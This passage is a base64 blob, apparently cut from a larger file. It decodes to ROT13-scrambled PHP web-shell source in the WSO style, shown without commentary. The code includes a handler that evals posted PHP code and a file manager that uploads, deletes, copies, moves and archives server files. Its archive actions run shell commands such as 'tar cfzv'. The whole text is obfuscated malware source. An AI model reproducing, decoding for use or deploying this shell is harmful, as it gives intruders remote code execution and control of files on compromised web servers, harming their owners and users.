yZSgpOwp9CgpzaGFwZ3ZiYSBucGd2YmFDdWMoKSB7Cgl2cyh2ZmZyZygkX0NCRkdbJ253bmsnXSkpIHsKICAgICAgICBKRkJmcmdwYmJ4dnIoenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSkgLiAnbnduaycsIGdlaHIpOwoJCWJvX2ZnbmVnKCk7CgkJcmlueSgkX0NCRkdbJ2MxJ10pOwoJCSRncnpjID0gInFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdDdWNCaGdjaGcnKS5mZ2x5ci5xdmZjeW5sPScnO3FicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdDdWNCaGdjaGcnKS52YWFyZVVHWlk9JyIgLiBucXFwZnluZnVyZih1Z3p5ZmNycHZueXB1bmVmKGJvX3RyZ19weXJuYSgpKSwgIlxhXGVcZ1xcJ1wwIikgLiAiJztcYSI7CgkJcnB1YiBmZ2V5cmEoJGdyemMpLCAiXGEiLCAkZ3J6YzsKCQlya3ZnOwoJfQogICAgdnMocnpjZ2woJF9DQkZHWydud25rJ10pICYmICFyemNnbCgkX0NCRkdbJ2MxJ10pKQogICAgICAgIEpGQmZyZ3BiYnh2cih6cTUoJF9GUkVJUkVbJ1VHR0NfVUJGRyddKSAuICdud25rJywgMCk7CgoJamZiVXJucXJlKCk7Cgl2cyh2ZmZyZygkX0NCRkdbJ2MyJ10pICYmICgkX0NCRkdbJ2MyJ10gPT0gJ3Zhc2InKSkgewoJCXJwdWIgJzx1MT5DVUMgdmFzYjwvdTE+PHF2aSBweW5mZj1wYmFncmFnPjxmZ2x5cj4uYyB7cGJ5YmU6IzAwMDt9PC9mZ2x5cj4nOwoJCWJvX2ZnbmVnKCk7CgkJY3VjdmFzYigpOwoJCSRnemMgPSBib190cmdfcHlybmEoKTsKICAgICAgICAkZ3pjID0gY2VydF9lcmN5bnByKG5lZW5sICgKICAgICAgICAgICAgJyEob2JxbHxuOlxqK3xvYnFsLCBncSwgZ3UsIHUxLCB1Mikgey4qfSF6ZnZIJywKICAgICAgICAgICAgJyFncSwgZ3UgeyguKil9IXpmdkgnLAogICAgICAgICAgICAnITx2enRbXj5dKz4hemZ2SCcsCiAgICAgICAgKSwgbmVlbmwgKAogICAgICAgICAgICAnJywKICAgICAgICAgICAgJy5yLCAuaSwgLnUsIC51IGd1IHskMX0nLAogICAgICAgICAgICAnJwogICAgICAgICksICRnemMpOwoJCXJwdWIgZmdlX2VyY3lucHIoJzx1MScsJzx1MicsICRnemMpIC4nPC9xdmk+PG9lPic7Cgl9CiAgICBycHViICc8dTE+UmtycGhndmJhIENVQy1wYnFyPC91MT48cXZpIHB5bmZmPXBiYWdyYWc+PHNiZXogYW56cj1jcyB6cmd1YnE9Y2JmZyBiYWZob3p2Zz0idnMoZ3V2Zi5ud25rLnB1cnB4cnEpe24oXCdDdWNcJyxhaHl5LGd1dmYucGJxci5pbnlocik7fXJ5ZnJ7dChcJ0N1Y1wnLGFoeXksZ3V2Zi5wYnFyLmlueWhyLFwnXCcpO31lcmdoZWEgc255ZnI7Ij48Z3JrZ25lcm4gYW56cj1wYnFyIHB5bmZmPW92dG5lcm4gdnE9Q3VjUGJxcj4nLighcnpjZ2woJF9DQkZHWydjMSddKT91Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1snYzEnXSk6JycpLic8L2dya2duZXJuPjx2YWNoZyBnbGNyPWZob3p2ZyBpbnlocj1SaW55IGZnbHlyPSJ6bmV0dmEtZ2JjOjVjayI+JzsKCXJwdWIgJyA8dmFjaGcgZ2xjcj1wdXJweG9iayBhbnpyPW53bmsgaW55aHI9MSAnLigkX1BCQlhWUlt6cTUoJF9GUkVJUkVbJ1VHR0NfVUJGRyddKS4nbnduayddPydwdXJweHJxJzonJykuJz4gZnJhcSBoZnZhdCBOV05LPC9zYmV6PjxjZXIgdnE9Q3VjQmhnY2hnIGZnbHlyPSInLihyemNnbCgkX0NCRkdbJ2MxJ10pPydxdmZjeW5sOmFiYXI7JzonJykuJ3puZXR2YS1nYmM6NWNrOyIgcHluZmY9enkxPic7Cgl2cyghcnpjZ2woJF9DQkZHWydjMSddKSkgewoJCWJvX2ZnbmVnKCk7CgkJcmlueSgkX0NCRkdbJ2MxJ10pOwoJCXJwdWIgdWd6eWZjcnB2bnlwdW5lZihib190cmdfcHlybmEoKSk7Cgl9CglycHViICc8L2Nlcj48L3F2aT4nOwoJamZiU2JiZ3JlKCk7Cn0KCnNoYXBndmJhIG5wZ3ZiYVN2eXJmWm5hKCkgewogICAgdnMgKCFyemNnbCAoJF9QQkJYVlJbJ3MnXSkpCiAgICAgICAgJF9QQkJYVlJbJ3MnXSA9IEBoYWZyZXZueXZtcigkX1BCQlhWUlsncyddKTsKICAgIAoJdnMoIXJ6Y2dsKCRfQ0JGR1snYzEnXSkpIHsKCQlmanZncHUoJF9DQkZHWydjMSddKSB7CgkJCXBuZnIgJ2hjeWJucVN2eXInOgoJCQkJdnMoIUB6YmlyX2hjeWJucXJxX3N2eXIoJF9TVllSRlsncyddWydnemNfYW56ciddLCAkX1NWWVJGWydzJ11bJ2FuenInXSkpCgkJCQkJcnB1YiAiUG5hJ2cgaGN5Ym5xIHN2eXIhIjsKCQkJCW9lcm54OwoJCQlwbmZyICd6eHF2ZSc6CgkJCQl2cyghQHp4cXZlKCRfQ0JGR1snYzInXSkpCgkJCQkJcnB1YiAiUG5hJ2cgcGVybmdyIGFyaiBxdmUiOwoJCQkJb2Vybng7CgkJCXBuZnIgJ3FyeXJncic6CgkJCQlzaGFwZ3ZiYSBxcnlyZ3JRdmUoJGNuZ3UpIHsKCQkJCQkkY25ndSA9IChmaG9mZ2UoJGNuZ3UsLTEpPT0nLycpID8gJGNuZ3U6JGNuZ3UuJy8nOwoJCQkJCSRxdSAgPSBiY3JhcXZlKCRjbmd1KTsKCQkJCQlqdXZ5ciAoICgkdmdyeiA9IGVybnFxdmUoJHF1KSApICE9PSBzbnlmcikgewoJCQkJCQkkdmdyeiA9ICRjbmd1LiR2Z3J6OwoJCQkJCQl2cyAoIChvbmZyYW56cigkdmdyeikgPT0gIi4uIikgfHwgKG9uZnJhbnpyKCR2Z3J6KSA9PSAiLiIpICkKCQkJCQkJCXBiYWd2YWhyOwoJCQkJCQkkZ2xjciA9IHN2eXJnbGNyKCR2Z3J6KTsKCQkJCQkJdnMgKCRnbGNyID09ICJxdmUiKQoJCQkJCQkJcXJ5cmdyUXZlKCR2Z3J6KTsKCQkJCQkJcnlmcgoJCQkJCQkJQGhheXZheCgkdmdyeik7CgkJCQkJfQoJCQkJCXB5YmZycXZlKCRxdSk7CgkJCQkJQGV6cXZlKCRjbmd1KTsKCQkJCX0KCQkJCXZzKHZmX25lZW5sKEAkX0NCRkdbJ3MnXSkpCgkJCQkJc2Jlcm5wdSgkX0NCRkdbJ3MnXSBuZiAkcykgewogICAgICAgICAgICAgICAgICAgICAgICB2cygkcyA9PSAnLi4nKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcGJhZ3ZhaHI7CgkJCQkJCSRzID0gaGV5cXJwYnFyKCRzKTsKCQkJCQkJdnModmZfcXZlKCRzKSkKCQkJCQkJCXFyeXJnclF2ZSgkcyk7CgkJCQkJCXJ5ZnIKCQkJCQkJCUBoYXl2YXgoJHMpOwoJCQkJCX0KCQkJCW9lcm54OwoJCQlwbmZyICdjbmZncic6CgkJCQl2cygkX1BCQlhWUlsnbnBnJ10gPT0gJ3BiY2wnKSB7CgkJCQkJc2hhcGd2YmEgcGJjbF9jbmZncigkcCwkZiwkcSl7CgkJCQkJCXZzKHZmX3F2ZSgkcC4kZikpewoJCQkJCQkJenhxdmUoJHEuJGYpOwoJCQkJCQkJJHUgPSBAYmNyYXF2ZSgkcC4kZik7CgkJCQkJCQlqdXZ5ciAoKCRzID0gQGVybnFxdmUoJHUpKSAhPT0gc255ZnIpCgkJCQkJCQkJdnMgKCgkcyAhPSAiLiIpIG5hcSAoJHMgIT0gIi4uIikpCgkJCQkJCQkJCXBiY2xfY25mZ3IoJHAuJGYuJy8nLCRzLCAkcS4kZi4nLycpOwoJCQkJCQl9IHJ5ZnJ2cyh2Zl9zdnlyKCRwLiRmKSkKCQkJCQkJCUBwYmNsKCRwLiRmLCAkcS4kZik7CgkJCQkJfQoJCQkJCXNiZXJucHUoJF9QQkJYVlJbJ3MnXSBuZiAkcykKCQkJCQkJcGJjbF9jbmZncigkX1BCQlhWUlsncCddLCRzLCAkVFlCT05ZRlsncGpxJ10pOwoJCQkJfSByeWZydnMoJF9QQkJYVlJbJ25wZyddID09ICd6YmlyJykgewoJCQkJCXNoYXBndmJhIHpiaXJfY25mZ3IoJHAsJGYsJHEpewoJCQkJCQl2cyh2Zl9xdmUoJHAuJGYpKXsKCQkJCQkJCXp4cXZlKCRxLiRmKTsKCQkJCQkJCSR1ID0gQGJjcmFxdmUoJHAuJGYpOwoJCQkJCQkJanV2eXIgKCgkcyA9IEBlcm5xcXZlKCR1KSkgIT09IHNueWZyKQoJCQkJCQkJCXZzICgoJHMgIT0gIi4iKSBuYXEgKCRzICE9ICIuLiIpKQoJCQkJCQkJCQlwYmNsX2NuZmdyKCRwLiRmLicvJywkcywgJHEuJGYuJy8nKTsKCQkJCQkJfSByeWZydnMoQHZmX3N2eXIoJHAuJGYpKQoJCQkJCQkJQHBiY2woJHAuJGYsICRxLiRmKTsKCQkJCQl9CgkJCQkJc2Jlcm5wdSgkX1BCQlhWUlsncyddIG5mICRzKQoJCQkJCQlAZXJhbnpyKCRfUEJCWFZSWydwJ10uJHMsICRUWUJPTllGWydwanEnXS4kcyk7CgkJCQl9IHJ5ZnJ2cygkX1BCQlhWUlsnbnBnJ10gPT0gJ212YycpIHsKCQkJCQl2cyhweW5mZl9ya3ZmZ2YoJ012Y05lcHV2aXInKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkbXZjID0gYXJqIE12Y05lcHV2aXIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgdnMgKCRtdmMtPmJjcmEoJF9DQkZHWydjMiddLCAxKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgcHVxdmUoJF9QQkJYVlJbJ3AnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzYmVybnB1KCRfUEJCWFZSWydzJ10gbmYgJHMpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2cygkcyA9PSAnLi4nKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYmFndmFocjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2cyhAdmZfc3Z5cigkX1BCQlhWUlsncCddLiRzKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG12Yy0+bnFxU3Z5cigkX1BCQlhWUlsncCddLiRzLCAkcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnlmcnZzKEB2Zl9xdmUoJF9QQkJYVlJbJ3AnXS4kcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZncmVuZ2JlID0gYXJqIEVycGhlZnZpclZncmVuZ2JlVmdyZW5nYmUoYXJqIEVycGhlZnZpclF2ZXJwZ2JlbFZncmVuZ2JlKCRzLicvJywgU3Z5cmZsZmdyelZncmVuZ2JlOjpGWFZDX1FCR0YpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2Jlcm5wdSAoJHZncmVuZ2JlIG5mICR4cmw9PiRpbnlocikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG12Yy0+bnFxU3Z5cihlcm55Y25ndSgkeHJsKSwgJHhybCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXF2ZSgkVFlCT05ZRlsncGpxJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG12Yy0+cHliZnIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCQkJCX0gcnlmcnZzKCRfUEJCWFZSWyducGcnXSA9PSAnaGFtdmMnKSB7CgkJCQkJdnMocHluZmZfcmt2ZmdmKCdNdmNOZXB1dmlyJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG12YyA9IGFyaiBNdmNOZXB1dmlyKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNiZXJucHUoJF9QQkJYVlJbJ3MnXSBuZiAkcykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgdnMoJG12Yy0+YmNyYSgkX1BCQlhWUlsncCddLiRzKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtdmMtPnJrZ2VucGdHYigkVFlCT05ZRlsncGpxJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtdmMtPnB5YmZyKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CgkJCQl9IHJ5ZnJ2cygkX1BCQlhWUlsnbnBnJ10gPT0gJ2duZScpIHsKICAgICAgICAgICAgICAgICAgICBwdXF2ZSgkX1BCQlhWUlsncCddKTsKICAgICAgICAgICAgICAgICAgICAkX1BCQlhWUlsncyddID0gbmVlbmxfem5jKCdyZnBuY3JmdXJ5eW5ldCcsICRfUEJCWFZSWydzJ10pOwogICAgICAgICAgICAgICAgICAgIGpmYlJrKCdnbmUgcHNtaSAnIC4gcmZwbmNyZnVyeXluZXQoJF9DQkZHWydjMiddKSAuICcgJyAuIHZ6Y3licXIoJyAnLCAkX1BCQlhWUlsncyddKSk7CiAgICAgICAgICAgICAgICAgICAgcHVxdmUoJFRZQk9OWUZbJ3BqcSddKTsKCQkJCX0KCQkJCWhhZnJnKCRfUEJCWFZSWydzJ10pOwogICAgICAgICAgICAgICAgZnJncGJieHZyKCdzJywgJycsIGd2enIoKSAtIDM2MDApOwoJCQkJb2Vybng7CgkJCXFyc25oeWc6CiAgICAgICAgICAgICAgICB2cyghcnpjZ2woJF9DQkZHWydjMSddKSkgewoJCQkJCUpGQmZyZ3BiYnh2cignbnBnJywgJF9DQkZHWydjMSddKTsKCQkJCQlKRkJmcmdwYmJ4dnIoJ3MnLCBmcmV2bnl2bXIoQCRfQ0JGR1sncyddKSk7CgkJCQkJSkZCZnJncGJieHZyKCdwJywgQCRfQ0JGR1sncCddKTsKCQkJCX0KCQkJCW9lcm54OwoJCX0KCX0KICAgIGpmYlVybnFyZSgpOwoJcnB1YiAnPHUxPlN2eXIgem5hbnRyZTwvdTE+PHF2aSBweW5mZj1wYmFncmFnPjxmcGV2Y2c+YzFfPWMyXz1jM189IiI7PC9mcGV2Y2c+JzsKCSRxdmVQYmFncmFnID0gamZiRnBuYXF2ZSh2ZmZyZygkX0NCRkdbJ3AnXSk/JF9DQkZHWydwJ106JFRZQk9OWUZbJ3BqcSddKTsKCXZzKCRxdmVQYmFncmFnID09PSBzbnlmcikgewlycHViICdQbmFcJ2cgYmNyYSBndXZmIHNieXFyZSEnO2pmYlNiYmdyZSgpOyBlcmdoZWE7IH0KCXR5Ym9ueSAkZmJlZzsKCSRmYmVnID0gbmVlbmwoJ2FuenInLCAxKTsKCXZzKCFyemNnbCgkX0NCRkdbJ2MxJ10pKSB7CgkJdnMoY2VydF96bmdwdSgnIWZfKFtOLW1dKylfKFxxezF9KSEnLCAkX0NCRkdbJ2MxJ10sICR6bmdwdSkpCgkJCSRmYmVnID0gbmVlbmwoJHpuZ3B1WzFdLCAodmFnKSR6bmdwdVsyXSk7Cgl9CnJwdWIgIjxmcGV2Y2c+CglzaGFwZ3ZiYSBmbigpIHsKCQlzYmUodj0wO3Y8cS5zdnlyZi5yeXJ6cmFnZi55cmF0Z3U7disrKQoJCQl2cyhxLnN2eXJmLnJ5cnpyYWdmW3ZdLmdsY3IgPT0gJ3B1cnB4b2JrJykKCQkJCXEuc3Z5cmYucnlyenJhZ2Zbdl0ucHVycHhycSA9IHEuc3Z5cmYucnlyenJhZ2ZbMF0ucHVycHhycTsKCX0KPC9mcGV2Y2c+Cjxnbm95ciBqdnFndT0nMTAwJScgcHluZmY9J3pudmEnIHByeXlmY25wdmF0PScwJyBwcnl5Y25xcXZhdD0nMic+CjxzYmV6IGFuenI9c3Z5cmYgenJndWJxPWNiZmc+PGdlPjxndSBqdnFndT0nMTNjayc+PHZhY2hnIGdsY3I9cHVycHhvYmsgYmFweXZweD0nZm4oKScgcHluZmY9cHV4b2s+PC9ndT48Z3U+PG4gdWVycz0nIycgYmFweXZweD0ndChcIlN2eXJmWm5hXCIsYWh5eSxcImZfYW56cl8iLigkZmJlZ1sxXT8wOjEpLiJcIiknPkFuenI8L24+PC9ndT48Z3U+PG4gdWVycz0nIycgYmFweXZweD0ndChcIlN2eXJmWm5hXCIsYWh5eSxcImZfZnZtcl8iLigkZmJlZ1sxXT8wOjEpLiJcIiknPkZ2bXI8L24+PC9ndT48Z3U+PG4gdWVycz0nIycgYmFweXZweD0ndChcIlN2eXJmWm5hXCIsYWh5eSxcImZfemJxdnNsXyIuKCRmYmVnWzFdPzA6MSkuIlwiKSc+WmJxdnNsPC9uPjwvZ3U+PGd1PkJqYXJlL1RlYmhjPC9ndT48Z3U+PG4gdWVycz0nIycgYmFweXZweD0ndChcIlN2eXJmWm5hXCIsYWh5eSxcImZfY3JlemZfIi4oJGZiZWdbMV0/MDoxKS4iXCIpJz5DcmV6dmZmdmJhZjwvbj48L2d1PjxndT5OcGd2YmFmPC9ndT48L2dlPiI7CgkkcXZlZiA9ICRzdnlyZiA9IG5lZW5sKCk7CgkkYSA9IHBiaGFnKCRxdmVQYmFncmFnKTsKCXNiZSgkdj0wOyR2PCRhOyR2KyspIHsKCQl2cyhzaGFwZ3ZiYV9ya3ZmZ2YoJ2NiZnZrX3RyZ2NqaHZxJykpewoJCQkkYmogPSBAY2JmdmtfdHJnY2podnEoQHN2eXJiamFyZSgkcXZlUGJhZ3JhZ1skdl0pKTsKCQl9cnlmcnsKCQkJJGJqID0gJyc7CgkJfQoJCSR0ZSA9IEBjYmZ2a190cmd0ZXR2cShAc3Z5cnRlYmhjKCRxdmVQYmFncmFnWyR2XSkpOwoJCSRnemMgPSBuZWVubCgnYW56cicgPT4gJHF2ZVBiYWdyYWdbJHZdLAoJCQkJCSAnY25ndScgPT4gJFRZQk9OWUZbJ3BqcSddLiRxdmVQYmFncmFnWyR2XSwKCQkJCQkgJ3picXZzbCcgPT4gcW5ncignTC16LXEgVTp2OmYnLCBAc3Z5cnpndnpyKCRUWUJPTllGWydwanEnXSAuICRxdmVQYmFncmFnWyR2XSkpLAoJCQkJCSAnY3JlemYnID0+IGpmYkNyZXpmUGJ5YmUoJFRZQk9OWUZbJ3BqcSddIC4gJHF2ZVBiYWdyYWdbJHZdKSwKCQkJCQkgJ2Z2bXInID0+IEBzdnlyZnZtcigkVFlCT05ZRlsncGpxJ10uJHF2ZVBiYWdyYWdbJHZdKSwKCQkJCQkgJ2JqYXJlJyA9PiAkYmpbJ2FuenInXT8kYmpbJ2FuenInXTpAc3Z5cmJqYXJlKCRxdmVQYmFncmFnWyR2XSksCgkJCQkJICd0ZWJoYycgPT4gJHRlWydhbnpyJ10/JHRlWydhbnpyJ106QHN2eXJ0ZWJoYygkcXZlUGJhZ3JhZ1skdl0pCgkJCQkJKTsKCQl2cyhAdmZfc3Z5cigkVFlCT05ZRlsncGpxJ10gLiAkcXZlUGJhZ3JhZ1skdl0pKQoJCQkkc3Z5cmZbXSA9IG5lZW5sX3pyZXRyKCRnemMsIG5lZW5sKCdnbGNyJyA9PiAnc3Z5cicpKTsKCQlyeWZydnMoQHZmX3l2YXgoJFRZQk9OWUZbJ3BqcSddIC4gJHF2ZVBiYWdyYWdbJHZdKSkKCQkJJHF2ZWZbXSA9IG5lZW5sX3pyZXRyKCRnemMsIG5lZW5sKCdnbGNyJyA9PiAneXZheCcsICd5dmF4JyA9PiBlcm5xeXZheCgkZ3pjWydjbmd1J10pKSk7CgkJcnlmcnZzKEB2Zl9xdmUoJFRZQk9OWUZbJ3BqcSddIC4gJHF2ZVBiYWdyYWdbJHZdKSkKCQkJJHF2ZWZbXSA9IG5lZW5sX3pyZXRyKCRnemMsIG5lZW5sKCdnbGNyJyA9PiAncXZlJykpOwoJfQoJCgkkVFlCT05ZRlsnZmJlZyddID0gJGZiZWc7CglzaGFwZ3ZiYSBqZmJQemMoJG4sICRvKSB7CgkJdnMoJFRZQk9OWUZbJ2ZiZWcnXVswXSAhPSAnZnZtcicpCgkJCWVyZ2hlYSBmZ2VwemMoZmdlZ2J5YmpyZSgkblskVFlCT05ZRlsnZmJlZyddWzBdXSksIGZnZWdieWJqcmUoJG9bJFRZQk9OWUZbJ2ZiZWcnXVswXV0pKSooJFRZQk9OWUZbJ2ZiZWcnXVsxXT8xOi0xKTsKCQlyeWZyCgkJCWVyZ2hlYSAoKCRuWydmdm1yJ10gPCAkb1snZnZtciddKSA/IC0xIDogMSkqKCRUWUJPTllGWydmYmVnJ11bMV0/MTotMSk7Cgl9CgloZmJlZygkc3Z5cmYsICJqZmJQemMiKTsKCWhmYmVnKCRxdmVmLCAiamZiUHpjIik7Cgkkc3Z5cmYgPSBuZWVubF96cmV0cigkcXZlZiwgJHN2eXJmKTsKCSR5ID0gMDsKCXNiZXJucHUoJHN2eXJmIG5mICRzKSB7CgkJcnB1YiAnPGdlJy4oJHk/JyBweW5mZj15MSc6JycpLic+PGdxPjx2YWNoZyBnbGNyPXB1cnB4b2JrIGFuenI9InNbXSIgaW55aHI9IicuaGV5cmFwYnFyKCRzWydhbnpyJ10pLiciIHB5bmZmPXB1eG9rPjwvZ3E+PGdxPjxuIHVlcnM9IyBiYXB5dnB4PSInLigoJHNbJ2dsY3InXT09J3N2eXInKT8ndChcJ1N2eXJmR2JieWZcJyxhaHl5LFwnJy5oZXlyYXBicXIoJHNbJ2FuenInXSkuJ1wnLCBcJ2l2cmpcJykiPicudWd6eWZjcnB2bnlwdW5lZigkc1snYW56ciddKTondChcJ1N2eXJmWm5hXCcsXCcnLiRzWydjbmd1J10uJ1wnKTsiICcgLiAocnpjZ2wgKCRzWyd5dmF4J10pID8gJycgOiAiZ3ZneXI9J3skc1sneXZheCddfSciKSAuICc+PG8+WyAnIC4gdWd6eWZjcnB2bnlwdW5lZigkc1snYW56ciddKSAuICcgXTwvbz4nKS4nPC9uPjwvZ3E+PGdxPicuKCgkc1snZ2xjciddPT0nc3Z5cicpP2pmYkl2cmpGdm1yKCRzWydmdm1yJ10pOiRzWydnbGNyJ10pLic8L2dxPjxncT4nLiRzWyd6YnF2c2wnXS4nPC9ncT48Z3E+Jy4kc1snYmphcmUnXS4nLycuJHNbJ3RlYmhjJ10uJzwvZ3E+PGdxPjxuIHVlcnM9IyBiYXB5dnB4PSJ0KFwnU3Z5cmZHYmJ5ZlwnLGFoeXksXCcnLmhleXJhcGJxcigkc1snYW56ciddKS4nXCcsXCdwdXpicVwnKSI+Jy4kc1snY3JlemYnXQoJCQkuJzwvZ3E+PGdxPjxuIHVlcnM9IiMiIGJhcHl2cHg9InQoXCdTdnlyZkdiYnlmXCcsYWh5eSxcJycuaGV5cmFwYnFyKCRzWydhbnpyJ10pLidcJywgXCdlcmFuenJcJykiPkU8L24+IDxuIHVlcnM9IiMiIGJhcHl2cHg9InQoXCdTdnlyZkdiYnlmXCcsYWh5eSxcJycuaGV5cmFwYnFyKCRzWydhbnpyJ10pLidcJywgXCdnYmhwdVwnKSI+Rzwvbj4nLigoJHNbJ2dsY3InXT09J3N2eXInKT8nIDxuIHVlcnM9IiMiIGJhcHl2cHg9InQoXCdTdnlyZkdiYnlmXCcsYWh5eSxcJycuaGV5cmFwYnFyKCRzWydhbnpyJ10pLidcJywgXCdycXZnXCcpIj5SPC9uPiA8biB1ZXJzPSIjIiBiYXB5dnB4PSJ0KFwnU3Z5cmZHYmJ5ZlwnLGFoeXksXCcnLmhleXJhcGJxcigkc1snYW56ciddKS4nXCcsIFwncWJqYXlibnFcJykiPlE8L24+JzonJykuJzwvZ3E+PC9nZT4nOwoJCSR5ID0gJHk/MDoxOwoJfQoJcnB1YiAiPGdlPjxncSBwYnlmY25hPTc+Cgk8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1uIGlueWhyPSdTdnlyZlpuYSc+Cgk8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1wIGlueWhyPSciIC4gdWd6eWZjcnB2bnlwdW5lZigkVFlCT05ZRlsncGpxJ10pIC4iJz4KCTx2YWNoZyBnbGNyPXV2cXFyYSBhbnpyPXB1bmVmcmcgaW55aHI9JyIuICh2ZmZyZygkX0NCRkdbJ3B1bmVmcmcnXSk/JF9DQkZHWydwdW5lZnJnJ106JycpLiInPgoJPGZyeXJwZyBhbnpyPSdjMSc+PGJjZ3ZiYSBpbnlocj0ncGJjbCc+UGJjbDwvYmNndmJhPjxiY2d2YmEgaW55aHI9J3piaXInPlpiaXI8L2JjZ3ZiYT48YmNndmJhIGlueWhyPSdxcnlyZ3InPlFyeXJncjwvYmNndmJhPiI7CiAgICB2cyhweW5mZl9ya3ZmZ2YoJ012Y05lcHV2aXInKSkKICAgICAgICBycHViICI8YmNndmJhIGlueWhyPSdtdmMnPlBiemNlcmZmIChtdmMpPC9iY2d2YmE+PGJjZ3ZiYSBpbnlocj0naGFtdmMnPkhhcGJ6Y2VyZmYgKG12Yyk8L2JjZ3ZiYT4iOwogICAgcnB1YiAiPGJjZ3ZiYSBpbnlocj0nZ25lJz5QYnpjZXJmZiAoZ25lLnRtKTwvYmNndmJhPiI7CiAgICB2cyhzaGFwZ3ZiYV9ya3ZmZ2YoInRyZ196bnR2cF9kaGJncmZfdGNwIikgJiYgIXJ6Y2dsKCRfUEJCWFZSWyducGcnXSkgJiYgQHBiaGFnKCRfUEJCWFZSWydzJ10pKQogICAgICAgIHJwdWIgIjxiY2d2YmEgaW55aHI9J2NuZmdyJz5DbmZnciAvIFBiemNlcmZmPC9iY2d2YmE+IjsKICAgIHJwdWIgIjwvZnJ5cnBnPiZhb2ZjOyI7CiAgICB2cyhzaGFwZ3ZiYV9ya3ZmZ2YoInRyZ196bnR2cF9kaGJncmZfdGNwIikgJiYgIXJ6Y2dsKCRfUEJCWFZSWyducGcnXSkgJiYgQHBiaGFnKCRfUEJCWFZSWydzJ10pICYmICgoJF9QQkJYVlJbJ25wZyddID09ICdtdmMnKSB8fCAoJF9QQkJYVlJbJ25wZyddID09ICdnbmUnKSkpCiAgICAgICAgcnB1YiAic3Z5ciBhbnpyOiA8dmFjaGcgZ2xjcj1ncmtnIGFuenI9YzIgaW55aHI9J2pmYl8iIC4gcW5ncigiTHpxX1V2ZiIpIC4gIi4iIC4gKCRfUEJCWFZSWyducGcnXSA9PSAnbXZjJz8nbXZjJzonZ25lLnRtJykgLiAiJz4mYW9mYzsiOwogICAgcnB1YiAiPHZhY2hnIGdsY3I9J2Zob3p2ZycgaW55aHI9Jz4+Jz48L2dxPjwvZ2U+PC9zYmV6PjwvZ25veXI+PC9xdmk+IjsKCWpmYlNiYmdyZSgpOwp9CgpzaGFwZ3ZiYSBucGd2YmFGZ2V2YXRHYmJ5ZigpIHsKCXZzKCFzaGFwZ3ZiYV9ya3ZmZ2YoJ3VyazJvdmEnKSkge3NoYXBndmJhIHVyazJvdmEoJGMpIHtlcmdoZWEgcXJwb3ZhKHVya3FycCgkYykpO319CiAgICB2cyghc2hhcGd2YmFfcmt2ZmdmKCdvdmF1cmsnKSkge3NoYXBndmJhIG92YXVyaygkYykge2VyZ2hlYSBxcnB1cmsob3ZhcXJwKCRjKSk7fX0KCXZzKCFzaGFwZ3ZiYV9ya3ZmZ2YoJ3VyazJuZnB2dicpKSB7c2hhcGd2YmEgdXJrMm5mcHZ2KCRjKXskZT0nJztzYmUoJHY9MDskdjxmZ2VZcmEoJGMpOyR2Kz0yKXskZS49cHVlKHVya3FycCgkY1skdl0uJGNbJHYrMV0pKTt9ZXJnaGVhICRlO319Cgl2cyghc2hhcGd2YmFfcmt2ZmdmKCduZnB2djJ1cmsnKSkge3NoYXBndmJhIG5mcHZ2MnVyaygkYyl7JGU9Jyc7c2JlKCR2PTA7JHY8ZmdleXJhKCRjKTsrKyR2KSRlLj0gZmNldmFncygnJTAySycsYmVxKCRjWyR2XSkpO2VyZ2hlYSBmZ2VnYmhjY3JlKCRlKTt9fQoJdnMoIXNoYXBndmJhX3JrdmZnZignc2h5eV9oZXlyYXBicXInKSkge3NoYXBndmJhIHNoeXlfaGV5cmFwYnFyKCRjKXskZT0nJztzYmUoJHY9MDskdjxmZ2V5cmEoJGMpOysrJHYpJGUuPSAnJScucXJwdXJrKGJlcSgkY1skdl0pKTtlcmdoZWEgZmdlZ2JoY2NyZSgkZSk7fX0KCSRmZ2V2YXRHYmJ5ZiA9IG5lZW5sKAoJCSdPbmZyNjQgcmFwYnFyJyA9PiAnb25mcjY0X3JhcGJxcicsCgkJJ09uZnI2NCBxcnBicXInID0+ICdvbmZyNjRfcXJwYnFyJywKCQknSGV5IHJhcGJxcicgPT4gJ2hleXJhcGJxcicsCgkJJ0hleSBxcnBicXInID0+ICdoZXlxcnBicXInLAoJCSdTaHl5IGhleXJhcGJxcicgPT4gJ3NoeXlfaGV5cmFwYnFyJywKCQknenE1IHVuZnUnID0+ICd6cTUnLAoJCSdmdW4xIHVuZnUnID0+ICdmdW4xJywKCQkncGVsY2cnID0+ICdwZWxjZycsCgkJJ1BFUDMyJyA9PiAncGVwMzInLAo